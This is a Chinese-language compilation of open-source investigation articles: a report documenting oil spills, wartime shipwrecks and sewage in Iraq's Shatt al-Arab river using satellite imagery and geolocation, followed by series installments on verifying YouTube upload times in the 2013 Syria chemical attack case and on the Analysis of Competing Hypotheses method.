这一环境危机已经酝酿了几十年，加上过去的冲突和污染问题，情况更加复杂。

众所周知，伊拉克拥有世界第五大石油储备。然而，这对该国的水道来说，可能更像是一种诅咒。1985年的一份研究报告估计，每年有20万吨石油残渣被排入波斯湾。正如一份研究文件所指出的那样，“污水排放和城市径流可能被认为是进入阿拉伯河的最重要的石油来源”。

这些话是在与邻国伊朗发生战争时写下的。1980–1988年的冲突标志着阿拉伯河一系列灾难的开始。

首先，伊拉克领导人萨达姆·侯赛因抽干了附近的沼泽地，作为对当地部落的惩罚，他指控这些部落“帮助敌人”。这一敏感的生态至今尚未完全恢复。

随着战争深入伊拉克，炮击摧毁了数以千计的枣树，这些枣树曾经是巴士拉河岸的标志，也是当地人的重要经济作物。根据2020年5月的一份关于这一时期的研究报告显示，“土壤肥力枯竭，灌溉基础设施被忽视或破坏，农田遭受盐碱化”。

随后，美国于**2003**年入侵伊拉克，导致伊拉克治理几乎完全崩溃，**2006**年又发生了血腥的叛乱。此后，人们对及时恢复被破坏的生态环境的方案已经失去信心，也没有进行投资，导致环境监管及其执行的条件不断恶化。

由于无法与廉价的外国产品竞争，当地农民深受其害。在许多情况下，他们的枣树从未被恢复。

石油工业比较幸运。由于外国投资，它甚至能够在战后提高产量。虽然一些外国石油公司在开采石油时考虑到了环境问题，但是环境仍然受到威胁。据报道，政府官员的腐败加剧了巴士拉更广泛的公共部门和环境基础设施（包括水和卫生服务）缺乏适当投资的情况，而这些社区往往从数十亿美元的石油收入中获益甚微。

但他们确实从上游“收获”了连绵不断的污染。

伊拉克许多最大的工业设施都位于底格里斯河和幼发拉底河沿岸，在它们汇合成阿拉伯河之前。这些设施包括发电站、水处理厂、污水处理站、造纸厂、国际机场以及许多其他与石油工业有关的设施。这些径流被发现是造成阿拉伯河污染的主要原因之一。

另一项发表在2020年 Nature Research 上的关于河水污染的研究发现，重金属污染水平已经升高，如镍、铬、锰、钼、铜、铅和锌，来自化肥和污水污泥、金属焊接车间和石油工业。当地人继续抗议石油工业，包括其用于向油井注水的设施。

后者也面临着伊拉克研究人员更多的审查，他们在2019年指出，尽管它带来了经济发展，但石油和天然气工业造成了空气、土地和水的严重污染。研究人员继续说：“此外，由于疾病、职业事故、工伤以及不可再生资源和能源的枯竭，它还造成了重大的社会破坏”。今年 7 月，空气污染对当地社区的影响覆盖了一大群国际媒体的板块。

这些只是2018年巴士拉人民走上街头大规模抗议的部分原因。

值得注意的是，当时，这些问题已经被政府知道了十多年，但他们什么都没做。伊拉克环境部2005年和2009年的报告都承认，巴士拉市的废水排放到河里，还有电站、工厂和医院的“工业、服务和农业用水排放”。规划部2010年的一份报告也承认了类似的情况。

一大批有害污染物流入阿拉伯河，使得当地居民为环境和社会正义而进行的斗争既紧迫又艰辛。但是，与远方观察这场危机的人一样，他们现在拥有了上一代人所没有的东西—— 获取开源材料证据。

开源情报调查如何作为环境正义的工具

「图」

社交媒体平台早已成为伊拉克人接收和分享新闻的主要来源，这反映了自2003年以来人们对新闻媒体的广泛不信任。

有报告显示，大量伊拉克媒体机构为某些政党所拥有或附属于某些政党，他们在国内政治冲突或其他涉及相关行为体利益的争端中偏向某些方面。因此，这些党派媒体普遍对水污染或气候变化和武装冲突对环境的影响等生态问题关注不多。

为了填补这一空白，伊拉克人在 Facebook 上推出了多个页面，用来记录不同的环境事件，提高人们的认识，推动当地的清洁或绿化运动。只要在 Facebook、Twitter 和 YouTube 上搜索“ShattalArab” [شط العرب]、“污染”[تلوث]、“沉船” [حطام سفن، سكراب سفن، غوارق]、“污水” [مجاري، مياه مجاري، مياه اسنة]和“石油” [نفط] 等阿拉伯语短语，就可以很容易地看到他们对这种环境破坏的关注和他们的机智。

重要的是，上述2009年环境部的报告并不是伊拉克当局多年来知道这些环境问题的唯一迹象。事实上，政府各部委和国际组织提供的一些免费文件也表明了同样的情况，进一步证实了抗议者对当局不作为的指控是正确的。

溢出的石油

「图」

伊拉克的一些巨大石油财富以泄漏的形式进入地面，污染了该国最大的河流。

环境部2009年的报告概述了石油如何通过污染地表水和海滩来影响生物多样性，进而影响水生生物、鸟类和动物，同时还破坏了农田和果园。对人类健康产生严重影响：石油会堵塞净水站的过滤器，并通过土壤污染进入食物链。下图是阿拉伯河上石油泄漏和污染的例子。

2015年8月，当地电视台费卢杰频道播放了一则报道，展示了河上的石油泄漏情况，并介绍了附近居民对石油和固体废物的抱怨。调查人员通过 **Sentinel Hub** 使用 **LANDSAT-8** 图像，在水面上发现了黑色的阴影，这些图案可以沿着河流至少追溯到巴士拉省东北部的 Al Hartha 发电站。然而，这并不能最终证明该电站是泄漏源头。

然而，在2016年，更多的报道浮出水面，该地区的另一个发电厂发生了漏油事件，即位于巴士拉市北部的 Najibyah 发电厂。这张2016年1月26日来自当地 Al Fayhaa 电视台的报道，显示的是电厂南部的溢油情况。2016年2月2日，地区媒体 Al Arabiya 也报道了这些泄漏事件。据该省电力委员会主席称，溢油事件是由于大雨导致储油罐溢出，并将油洒入河中。

2017年3月，在同一地点又观察到一起漏油事件，在阿拉伯语NRT报道中进行了专题报道。这里的废油或其他污染物来自该设施南部的 Shatt al-Turk 运河。

调查人员能够将2016年和2017年的视频地理定位到 Najibyah 发电厂附近。这两段视频都是由 **Ahmad Abdul Samad** 制作的，他是一名伊拉克记者，经常报道污染问题，直到**2020**年**1**月他和他的摄影师在巴士拉被谋杀。

Ahmad Abdul Samad 曾积极利用社交媒体报道2018年的巴士拉水危机。在一些帖子中，可以看到他谴责当局对污染采取的措施不力，以及对巴士拉居民对清洁和可获得水资源的要求的忽视。

2018年的水危机让漏油问题更加突出。2019年人权观察的报告《巴士拉很渴》，涉及到阿拉伯河的一次漏油事件，污染波及了长达几十公里的河域。通过 **Planet Explorer** 访问的 **Planet Labs** 的图像显示，从6月15日开始，大面积的石油泄漏顺着河道流淌了至少一周。Al Mirbad 媒体2018年7月22日在 Youtube 上发布的镜头似乎也显示阿拉伯河表面的石油泄漏流经巴士拉市的中心。

2018年8月29日，Al Rafidain 电视网播出了更多可能的油污镜头。调查人员检查了该日的 **Sentinel-2** 图像，以确定河面上是否可见石油泄漏，但无法找到任何关于水中石油的图像。这表明，要么 Al

Rafidain 的镜头实际上显示了**6–7**月的上述溢油，变色可能是由于其他原因 —— 能是其他污染源或自然原因。

据报道，这些泄漏的源头似乎来自该市上游或沿河的各种发电厂和工厂附近，如上述 Najibyah 和 Al Hartha 发电厂或 Ben Omar 石油设施及其附近的造纸厂。

但阿拉伯河不仅受到当地污染源的影响，毕竟伊拉克的大部分流域都排入了这个河口。

例如，2019年1月31日，推特上出现的镜头显示，巨大的洪水来自邻国伊朗，带来了污染和泄漏的原油。虽然该用户提出的地点是伊朗南部的阿瓦兹，但开源情报调查认为，更有可能是两伊边境的 Maysan 省的 Al-Fakkah 油田。关于如何得出这一结论的更多细节可以在这里的推特帖子中找到（其中包括一处错误，正确的日期应该是2019年1月）。

这一地点离底格里斯河仍然比较远，而底格里斯河没有直接流向这里。因此，这次原油溢出更有可能最终流入 Hawizeh 沼泽地 (关于这些河流流入阿拉伯河的全部情况，可通过《西亚共有水资源清单》查阅)。

炼油厂、油田和发电厂的径流是伊拉克各地普遍存在的问题。例如，6月11日，伊拉克中部卡迪西亚省首府迪瓦尼耶镇附近的石油流出物起火。一个以青年为重点的独立新闻网站 Yalla 在 Facebook 上发布的帖子显示了大火的程度，当地居民认为大火导致健康危害增加。

类似的故事不胜枚举。9月17日，伊拉克民间社倡导组织 “Humat Dijlah” 报告说，伊拉克首都巴格达南部的 Al Dora 发电厂又发生了一次底格里斯河石油废料溢出事件。

但是开源调查也指出了另一种看不见的污染源 —— 来自水面以下。

战争造成的沉船

「图」

两伊战争的激烈战斗使阿拉伯河到处都是残骸。从油轮到海军舰艇，从货船到渔船，尽管过去几十年来一直试图将它们从河床上移走，但它们继续污染环境。1989年，在结束战争的停火一年后，《商业杂志》报道说，有78艘沉船被清理。

2003年美国入侵后不久，环境署一份关于伊拉克环境状况的报告指出，阿拉伯河中约有**260**艘沉船，并警告说，这些沉船“载有危险货物，包括化学品、原油和精炼油、燃料油、电池酸、石棉、其他化学品、短程导弹和未爆的弹药”，并为清除这些沉船提供了资金。

此后，联合国开发计划署2004年的一份报告指出，在巴士拉的河流中和周围发现了数百艘被毁掉的船只。遗憾的是，原件已无法在网上查到，撰写该报告的人借鉴了2005年《环境健康展望》中的这份“战争：伊拉克的有毒沉船”研究报告的内容，该报告还对泄漏石油造成的河流和波斯湾污染的性质进行了更深入的探讨。

2005年，有网友甚至在网上努力做了一个 Google Sight Seeing 游记，将那些在卫星图像上可见的沉船标记出来，这些沉船如今仍锈迹斑斑，或勉强漂浮或倾覆，成为过去战争的黑暗记忆。

在2012年伊拉克交通部关于南部 Um Qasr 港开发的报告中，发现了一份重要的沉船清单，指出了许多充满燃料和未爆弹药的沉船。

地方当局过去曾多次对其中许多船只的环境风险表示担忧，船上仍有数百吨原油。巴士拉大学的研究人员在2016年发表的另一篇文章提供了一份更长的清单，有34艘沉船仍在河底。

2020年6月，伊拉克研究人员发表文章，利用小型潜艇的声纳雷达绘制阿拉伯河沉船位置图，发现了二十多个标志，巴士拉市旁边和南部的河中有近十艘确认的沉船。

大量的沉船现已被清理，但2020年6月和7月发生的事件表明，泄漏的沉船仍会造成地表水的污染。正如伊拉克对《生物多样性公约》的第一次贡献中所指出的那样，泄漏的沉船造成的污染也会直接威胁到这些地区的海洋生物，并在他们对《生物多样性公约》的最新贡献中重申了这一信息。

2020年6月15日，Al Rafidain 电视台提醒公众，水下物体再次发生漏油事件：

根据消息源提供的地理位置，报告的泄漏事件发生在巴士拉市新塔努马桥以北。

根据一位 Twitter 用户的说法，漏油导致此处北部的水净化设施关闭：

当地媒体 Iraq Akhbar 证实了这一泄漏事件，该媒体报道说，一艘沉

没的浮桥是泄漏的来源。借助 **Sentinel-2** 图像，还可以看到6月14日的表层水面上有变色现象，这可能表明是经过加工的油品，如苯丙芘。不过，这也可能是太阳光在海浪上的镜面反射。

调查人员向 European Space Imaging 申请了该地区的高分辨率图像（World-View-2 的50厘米分辨率，由MAXAR提供），日期为2020年6月16日。卫星图像上这一区域的总体概况再次清晰地显示了太阳光在水面上的镜面反射，也就是所谓的Sunglint。

该区域的图像显示了沉没的浮桥和周围的漏油以及一些光斑：

除了直接靠近浮桥的溢出物外，水中似乎还有其他深色物质。这些可能是溢出物、漂浮的藻类或其他未知物质。使用近红外光谱时，任何植被都应该以红色显示。但在下面的图像中看不到这一点，这就排除了藻类的可能性。

研究人员认为在 Arc / QGIS 中调整某些直方图的颜色可能有助于弄清水面上的图像。得益于这种技术，下面的彩色图像显示了泄漏的明显迹象，这似乎确实表明暗物质很可能是石油，而且似乎在河流上分布得相当广泛。

然而，溢油现象并没有结束。利用 **Planet Labs** 和 **Senitel-2** 图像，可以看到阿拉伯河上有更多的漏油现象。Humat Dijlah 的成员证实了这一点。不过，这些溢油的直接来源尚不清楚，但考虑到这些溢油类似于加工过的石油，因此很可能是一艘经过的船只倾倒的石油废水。

到处都是污水

「图」

阿拉伯河流域的另一个主要污染源是污水和固体废物的倾倒。

历届伊拉克政府都被要求解决这一问题，但收效甚微。比如美联社2000年的这份报告，显示了未经处理的污水直接排入巴士拉外的底格里斯河和阿拉伯河。在2018年水危机之前，这些问题的参考资料几乎全部浮现在每一份相关的政府报告中，包括上述《伊拉克国家环境战略和行动计划》、2003年后联合国机构的联合分析、伊拉克向《生物多样性公约》（CBD）提交的关于环境和生物多样性状况的报告（最近一次是在2018年）、联合国环境署的冲突后分析和联合国儿童基金会的警告。

拯救底格里斯河等当地非政府组织和国际网络在巴士拉水危机之前就已经提出了关切，最主要的是巴格达底格里斯河的上游污染和更广泛的环境问题。

2013年，日本企业顾问对伊拉克水和污水处理行业进行的一项分析表明，伊拉克每年产生5.8亿立方升的废水，并指出其大部分废水处理设施处于“不同程度的的失修阶段”。该报告让人看到了一个失败的政府，它无法制定一个连贯的战略，也无法拨出适当的预算来修复其废水基础设施。前面提到的人权观察关于巴士拉水危机的报告，在五年前发布，显示了同样的状况，表明在随后的几年里几乎没有改变。

可见，在当地河流中倾倒污水是一个众所周知的现象；2020年7月，在巴士拉西北部的一个省份 Al-Muthanna，显示了这种做法的一个明显例子。在这段视频中，经 Rumaythah 镇的一名伊拉克当地环保人士的地理定位和核实，原污水被倾倒在当地的一条小溪中，地理定位在 Tweet 下面的图片中。

巴士拉电子报最近在2020年7月27日的一个 Facebook 帖子上报道了巴士拉水基础设施的进一步问题，当时一条道路坍塌，引起了平民对附近一条运河状况的关切，该运河从一个大型污水处理设施引出。这条运河的目的是将废水排入 Shatt al-Basra，这是一条上世纪70年代末开挖的人工河，目的是将农业的废水直接引向大海，而不是流入阿拉伯河。当地居民表示的关切表明，他们对水利基础设施维护不善的情况一直感到沮丧。

从当地媒体和社交媒体的报道来看，废水溢出的问题自那时起就一直存在。据 Humat Dijlah 说，当地人继续报告，废水溢出影响到附近的居民区。

利用**2020**年**7**月至**9**月间的 **Sentinel-2** 卫星图像，在这个时间推移图上可以很容易地看到运河沿线被淹没的土地和从污水处理设施通往的管道。

这些溢出物似乎正在影响巴士拉市中心。在2019年8月 Facebook 上的一个帖子中，一位市民抱怨据称是一条污水管道在该市中央银行大楼前排入阿拉伯河的开口处的气味。

这些例子都可证明巴士拉的水基础设施问题不断，以及有关公民和活动家在监督情况方面的积极作用。 2020年9月，REACH 发布了一个新的关于伊拉克水安全状况的可视化工具，包括一个名为 **WASHapp** 的在线仪表盘，上面有伊拉克所有240个已知的水处理厂及其现状。

下面的截图显示了巴士拉所有这些设施的状况。

该工具可显示水处理厂是否在运作，它正在处理多少水，以及哪些地区在向该设施供水。这一应用使基于遥感和利用地球观测进行视觉识别并结合地面核查方法的监测工具清单不断增加。这些努力有助于加强对改善环境基础设施和相关公共卫生问题的承诺的问责。

尽管当地活动人士在2019年世界环境日努力清理阿拉伯河畔及附近的固体废物，但事件仍引发关注。当年，英国广播公司播出了关于当地民众如何在社交媒体上抱怨正在发生的废水污染问题的报道；其中一个这样的视频在 Facebook 上被广泛分享。

今年全年，匿名推特用户不断报道巴士拉居民区的固体废物问题和污水处理失败，再次表明废物处理设施被忽视、以及更广泛的基础设施问题。

此外，在2020年夏天，当地媒体 Al Mirbad 播出了一则关于污水泄漏和缺乏垃圾收集的新闻报道，显示污水淹没了巴士拉 Al-Mishraq 居民区的街道。这些场景证明，可能需要进行更多的清理工作，特别是随着该国 Covid-19 病例的迅速增加。

斗争仍在继续

「图」

自大规模抗议活动发生两年以来，被围困的巴士拉人民继续与公共卫生危机作斗争，并为建设一个干净和不受污染的阿拉伯河畔而奋斗。上面的例子，无论是石油泄漏、沉船还是被污染的水，不仅证明了他们斗争的规模，而且证明了他们在查明具体污染事件方面的机智。

网上不仅有大量的信息，还有丰富的工具可以用来了解这些信息。地理定位、可公开获得的遥感数据和卫星图像有助于拼凑出一幅图景，表明伊拉克国家未能认真解决水基础设施的恶劣状况。

这可能是一幅令人沮丧的画面，但它也可以激发人们更广泛地呼吁采取行动保护环境。伊拉克公民出于对自己的生计甚至生命的关切，已经在网上响应这一呼吁。与数十年来震撼该国的安全威胁联系在一起，环境退化、污染和气候变化等问题对伊拉克人来说已不再是次要问题。他们继续抗议，要求政府改善公共服务，保证所有人的清洁用水 —— 在COVID-19大流行期间，这一需求更为迫切。〇

这份报告来自《Troubled Waters: Documenting Pollution of Iraq’s Shatt Al-Arab River》。

此外有另一份非常珍贵的新报告，是一本新书，它记录了美军数十年来对太平洋沿岸土著土地以及海洋本身的污染，危害了整个太平洋的生态系统—包括放射性废物、神经毒剂和带有二恶英的橙剂。新生儿畸形，人们因癌症和缺血性心脏病而死亡。

这本书是通过获得的12,000多页政府内部文件、和对当地居民、退伍军人和研究人员的采访编写的。

作者还记录了美国国务院和国防部如何多次阻止他的调查工作。一份**FOIA**文件显示，作者 **Jon Mitchell** 受到美国海军陆战队刑事调查部门的监视。该文件包含他的照片、传记、以及他曾经做过的有关军事污染的演讲的记录。

书中指出：“美军向太平洋倾倒**2900**万公斤芥子毒剂和神经毒剂以及**454**吨放射性废物”，以及美军对包括沙林毒气在内的神经毒剂的使用，美国政府文件中证实了这一点。在这里看到报道《‘Poisoning the Pacific’: New book details US military contamination of islands and ocean》，在这里下载这本书：《Poisoning the Pacific》。○□

—— 未完待续 ——

原文

在数字研究中，事物并不总是像看起来那样：思考方式（4） - iyouport

思考方式

【2021年3月19日存档】开源调查首先是一种灵巧的心智，所有工具和资源都是在此心智之上的辅助作用

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》
- 《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》
- 《在哪里获得卫星图像？以及一个调查案例：思考方式（3）》

如您所知，对付假消息的良方就是直接用事实来反驳它。但是，当一些动机可疑的人根据模棱两可的现实制造假消息时，又会发生什么呢？

这不仅需要批判的眼光和敏锐的头脑，还需要特定的技能。这里是大赦国际的数字核查团队（DVC）提供的解决方案。

2014年在比勒陀利亚，核查团队第一次聚集在一起。三人一组，用笔记本电脑观察着 YouTube 上的一段视频，他们有一个任务：核实该视频中显示的叙利亚空袭是否真实。

他们得出的结论是，这段视频是真实的，没有被篡改。然而，有一个复杂的问题：视频中的当地人声称，他们在袭击发生的当天录制并上传了该视频。但 YouTube 上的时间戳显示的是不同的日期。

这一发现有可能破坏视频承诺的每一个真相，调查人员已经准备将其视为误导了。然而，指导者促使核查团队进一步探究。因此，他们开始尝试确定视频发布的准确时间和日期。

调查的结果证实了当地人的说法，即确实发生了空袭 —— 只是因为 YouTube 在上传视频时没有反映叙利亚当地的时间，所以日期上有差异。这是一个很常见的错误。

这次调查的一个明显的教训是，事情不一定总是像看起来那样。

如今辨别真假已经变得越来越困难。许多虚假的图片、声明和视频由于未经事先核实的广泛分享而被变成了“真相”。

这就是现实世界，没有删除键。很多时候，当假消息流传开时，即使最终得到纠正或收回，通常也为时已晚。它已被病毒式传播，损害已经造成。这突出表明，信息传播者在普及任何新闻之前，极有必要进行合理的事实核查，因为它有可能被证明是虚假的。

📌 假消息会产生影响，这些影响可能与正义和不正义之间的差别一样大。因此，核查的目标不应是谁先爆出新闻，吸引更多的点赞、浏览或转发；而是应该关注：如果这条信息被证明是不真实的，会伤害到谁，会造成什么损失。有时候，仅仅是停顿一下，认真观察一条信息，就会发现不准确之处。

因此，规则应该是：在相信之前要仔细检查，在分享之前要充分思考。

维护真相现在已经超越了道德问题。这是保持这个世界安全、公正和自由的必要条件。

以下是一个案例。

上图中这本书在这里下载：《给人权维护者：第一份民主化开源情报的技术指南》

叙利亚化学武器袭击：揭穿俄罗斯关于视频上传日期的虚假声明

「图」

为什么有时提取 YouTube 视频的确切本地上传时间很重要？除了有助于在大量的剪辑视频中找到原始视频外，它对于确定人权相关事件的确切时间线也是至关重要的。

弄清这些事实可以产生重大影响，例如2013年8月21日的叙利亚化学

武器袭击事件就表明了这一点。

针对这次袭击，俄罗斯当局一度宣称：

互联网上流传着一些报告，特别是在所谓的攻击发生之前几个小时，就已经公开了声称该事件的材料和对政府军的指控。因此，这是一次有预谋的行动。”—— *2013*年*8*月*23*日，俄罗斯外交部发言人 *Aleksandr Lukashevich*。

俄罗斯外交部提出这种说法的理由是什么？显然，他们使用了几个视频上的 YouTube 时间戳来得出了错误的结论。其中一些视频显示的上传日期是2013年8月20日 —— 因此是实际袭击发生的前一天。下面来看看其中一个视频，以确定当地（叙利亚）的确切上传时间。

该视频被用于为美国参议院委员会编制的播放列表中。请注意。这段视频包含非常令人不安的画面。

YouTube 将视频的日期显示为2013年8月20日。正是此类信息促使俄罗斯当局声称这次袭击是捏造的。

调查人员需要超越表面，找到该视频的确切上传时间。使用工具 YouTube Data Viewer，可以提取有关视频的其他详细信息：

「图」

该视频于世界标准时间 2013年8月21日（星期三）发布。那么，为什么 YouTube 会显示它在8月20日上传？ The Lede Blog 提供了解释：

正如 *YouTube* 此前向 *The Lede* 证实的那样，其电脑会根据上传开始时加州的当前时间自动为每个视频分配一个日期，而这个日期可能与用户所在时区的日期不同。鉴于加州比叙利亚晚了*10*个小时，这意味着周三上午*10*点之前上传到 *YouTube* 的任何视频都被盖上了周二的时间戳。

为此，您可以使用时区转换器，例如 timeanddate.com 提供的时区转换器：

结果如下：

UTC ( ) Wednesday, 21 August 2013, 03:15:00 UTC

Damascus (Syria) Wednesday, 21 August 2013, 06:15:00 EEST UTC

+3 hours

这段视频是在叙利亚时间2013年8月21日星期三上午6时15分左右上传的，这与其他关于袭击的报道一致。因此，关于视频 “在攻击发生之前就已经上传” 的说法是没有根据的。

并非每项调查都能奏效：一个失败的教训

「图」

2019年9月，也门的胡塞武装使用无人机袭击了沙特阿拉伯的 Aramco Biqayq 石油设施。

大赦国际认为，这一事件以及胡塞武装对沙特民用基础设施的其他跨界袭击，可能表明胡塞武装的活动出现了新的层面，可能违反了国际人道法，因此值得进一步调查。

数字核查团队被要求使用开源调查技术追踪此事，并找到沙特领土上关于无人机袭击的进一步证据 —— 特别是针对关键基础设施的证据。首先是收集2019年7月一系列无人机袭击事件的开源材料，以证实来自地面的报告，并帮助评估其影响和合法性。

然而，与许多开源调查一样，它并没有完全按计划进行，使一些核心疑点和问题凸显出来，而这些疑点和问题在任何开源调查中都会出现。

这次调查一如既往从研究背景开始：阅读尽可能多的组织发表的研究报告，内容涉及也门内战、胡塞武装的崛起、以及沙特对也门施加的军事行动的支持 —— 主要是通过武器出售。

收集的重点是描述沙特从也门胡塞武装控制区发动袭击的公开来源内容，但很快发现，从 Facebook、Twitter 和 YouTube（沙特最受欢迎的社交媒体平台）收集到的许多内容并不能提供本次调查所需的信息。目标信息应该包括平民伤亡、民用基础设施受损的潜在证据，以及国际人道法 (适用于武装冲突的法律) 规定的其他罪行的证据。

相反，从公开来源获得的信息有几种不同类型。首先，是一些摄像机朝天空平移拍摄的视频，这些视频往往是在夜间拍摄的，缺乏足够的背景来核实其与所调查事件的相关性；第二，就是在网上发布的内容中存在着大量的篡改、拼贴、和不准确的描述。这使得核实一些视频的过程变得很复杂，非常耗时。

事实上的确有很多据称显示平民伤亡的内容，但经分析，这些内容是无法核实的。这些视频要么太短，无法深入了解所记录事件的地点，要么是已被删除的内容的屏幕记录，使反向图像搜索过程变得更加不可能。在有良好视野的地方，往往是农村，没有明显的地标，因此无法将该内容与其他冲突中拍摄的内容区分开。

比如下面这样的视频，在这里看到：

根本没有足够的内容可以符合以下所有这些条件：显示沙特的平民伤亡或基础设施破坏，拍摄于2019年7月，并且可以与可核实的胡塞无人机袭击有关。收集到的袭击视频无法描述平民伤亡，还有更多被拼凑出来的视频或不清晰的视频，让核实变得更复杂，这些内容难以对袭击事件形成清晰的认识。

经过几个星期的内容采集和核实工作，最终还是放弃了。但调查人员获得了一些经验教训。

📌 教训**1**：调查小组应该在开始这项工作的早期发起一个动员，详细阐明这项调查的目标和其重要性，以调动现场的活动家和积极人士朝着一个共同目标努力，形成一种协作关系，在此人们会知道该如何在拍摄的时候朝着这个目标前进。

在敏感事件的研究中尤其如此。在现场的人们只是看到了令人激动或愤怒或恐惧的“热点”，他们为了记录这一刻而拍摄和上传，很可能并没有想到人权追责和调查工作的重要性；尤其是，当权者通常会努力避免敏感事件被曝光和追查，他们会尽力阻止内容在互联网上出现。您所涉及的调查主题越是重要，就越是如此。

于是调查团队必须能及时动员和联合在现场的人和社区，确立目标并阐述其重要性，帮助人们理解需要如何拍摄记录才能更好地完成这项工作。

开源情报调查很多时候无法躲在“暗处”进行，您需要和人们合作。在下面看到一些相关技巧，这些技巧是您应该教会合作者的东西：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》
- 案例综述《灾难中捍卫人权的技巧指南》

📌 教训**2**：任何一个问题都很少能有一个单一的答案，如果时间和精

力允许的话，许多任务可能会变得没有尽头。在一个旨在赋予数字媒体客观性的过程中，调查人员做出的主观决定最终很可能是定义它的原因。

这意味着，知道如何最好地集中精力、如何快速结合工具和资源，以及何时更改研究路径，是至关重要的。不能一条路走到黑，当发现这个办法不奏效时，要及时推翻前面的一切，从头再来。

所有精力和工具资源的运用都需要朝着一个固定的目标前进，一切思考都要围绕这个调查目标；查询技能只是开源情报的手段，思考方式才是开源情报的灵魂。您可以在这里看到对科学思考方式的介绍：《开源调查应该是一种心智：得到它你需要几个步骤》。

这个世界很残酷，成败往往不会取决于您有多辛苦，而是取决于您的技巧和智慧。不断地练习/演习是培养技巧和智慧的最有效方法，它只能来自于您的经验，经验从实践中积累。

希望您的每一次努力都能有所收获。〇

—— 未完待续 ——

Syria Chemical Weapons Attack: Debunking Russia’s False Claim About Video Upload Date

原文

躲避思维陷阱，竞争性假设分析法：思考方式（5）- iyouport

思考方式

【2021年3月23日存档】重复我们的口头禅：做时政分析的知识分子非常有必要采取情报分析师的思维技巧，您将不会制造目前媒体评论栏目中那些混乱的胡说

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》
- 《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》
- 《在哪里获得卫星图像？以及一个调查案例：思考方式（3）》
- 《在数字研究中，事物并不总是像看起来那样：思考方式（4）》

竞争性假设分析 (ACH) 是一种辅助判断重要问题的工具，帮助您仔细权衡其他解释或结论。它可以帮您克服或至少减少一些认知上的局限性，这些局限性会使有预见性的情报分析难以实现。

📌 ACH 是一个基于认知心理学、决策分析和科学方法的基本见解的八步程序，以绕过常见的分析陷阱。由于它的彻底性，它特别适用于有争议的问题。

您知道，分析而不是收集，才是情报的灵魂。

什么是ACH

「图」

在处理困难的情报问题时，分析人员实际上是在几个备选假设中进行选择。在几种可能的解释中哪一种是正确的？在几种可能的结果中哪一种是最有可能的？

这里的“假设”是指要通过情报收集和提出证据来检验的潜在解释或结论。

竞争性假设分析（ACH）要求分析者明确地找出所有合理的备选方案，并让它们相互竞争，以获得分析者的青睐，而不是一次一次地评价它们的合理性。

大多数分析者的做法是挑选出他们直觉上怀疑是最有可能的答案，然后从是否支持这个答案的角度去查看现有的信息。如果证据似乎支持这个假设，分析师就会拍拍自己说（“看，我一直都知道！”），然后就不再看下去了。如果不支持这个假设，他们要么拒绝证据，认为证据不充分且具有误导性，要么发展另一个假设，再经历上述同样的程序。

这有多糟糕，是吧？

决策分析家称之为满足策略。满足策略意味着下意识地选择第一个看起来令人满意的解决方案，而不是通过所有的可能性来确定最好的解决方案。

可能有多个看似满意的解决方案，但只有一个是最好的解决方案。

📌 如果分析者主要集中于试图证实自己认为可能是“真”的一种假设，他们就很容易被“有这么多证据”支持他们的观点的事实所误导。他们完全没有认识到，这些证据中的大多数也与其他解释或结论相一致，而这些其他的选择并没有被反驳。

同时评价多个相互竞争的假说是非常困难的。要在工作记忆中保留三到五个甚至七个假说，并注意到每项信息是如何符合每个假说的，这超出了大多数人的心理能力。它所需要的精神敏捷性远比列出支持一个被预先判断为最有可能的答案的单一假说的证据要高得多。

不过，在这里讨论的简单程序的帮助下，它就是可以完成的。下面是ACH过程的步骤纲要。

步骤1 ——

「图」

⚒ 确定您需要考虑的可能假设。用一组具有不同观点的分析者来进行头脑风暴，以确定各种可能性。

对人们如何去生成假设的心理学研究表明，人们其实相当不善于思考所有的可能性，如果一个人连正确的假设都不去考虑，显然他不会得到正确的答案。

明确区分分析中的假设的产生和假设的评价阶段是很有益的。建议的分析过程的第一步是：确定所有值得详细审查的假设。

在这个早期的假设生成阶段，把一群具有不同背景和观点的分析人员聚集在一起会非常有用。小组内的头脑风暴能激发想象力，并可能带来小组个别成员没有想到的可能性。

📌 小组中的初步讨论应该引出每一种可能性，无论可能性多么低，然后再判断可行性。只有当所有的可能性都摆在桌面上的时候，您才应该集中精力对它们进行判断，并在后续的分析中挑选出需要更详细研究的假说。

请注意：在筛选出那些看似不可能的、不想浪费时间的假说时，有必要区分那些没有被证明的假说和那些被证伪的假说 —— 对于一个未被证明的假说，是指没有证据表明它是正确的；对于一个被证伪的假说，要有明确的证据表明它是错误的。

如果过早地拒绝未经证实的假说，会使随后的分析出现偏差，因为人们不会去寻找可能支持这些假说的证据。未被证实的假说应始终保持活力，直到它们能够被推翻。

经常属于这种未被证实但未被证伪的假说的一个例子是 —— 对手试图欺骗您的假说。您可能会因为没有看到证据而否定欺骗的可能性，但在这种情况下，否定是没有道理的。如果欺骗计划周密，实施得当，就不应该指望随手就能找到欺骗的证据。

在没有被证伪之前，或者至少在系统地寻找证据而没有找到之前，不应该拒绝这种可能性。

您要考虑的假设没有“正确”的数目。数目取决于分析问题的性质和您对它的分析程度。一般来说，您的不确定性越大，或者您的结论对政策的影响越大，您可能希望考虑的替代方案就越多。

超过7个假设可能就无法处理了；如果真的有这么多的备选方案，最好将其中几个组合在一起，进行初步分析。

步骤2 ——

「图」

✍ 列出支持和反对每一个假设的重要证据和论点。

在汇集相关证据和论据清单时，这些术语应作非常广泛的解释。它们指的是对您对假说的判断有影响的 *所有因素*。不要局限于当前情报报告中的具体证据。还需要包括您自己对另一个人或团体或国家的意图、目标或标准程序的假设或逻辑推理。这些假设可能会产生强烈的先入为主的观念，认为哪种假设最有可能。这类假设往往会推动您的最终判断，所以将它们列入 “证据” 列表中很重要。

首先，列出适用于所有假说的一般证据。然后单独考虑每个假说，列出倾向于支持或反驳每个假说的因素。您通常会发现，每个假说都会导致您提出不同的问题，因此，要寻找一些不同的证据。

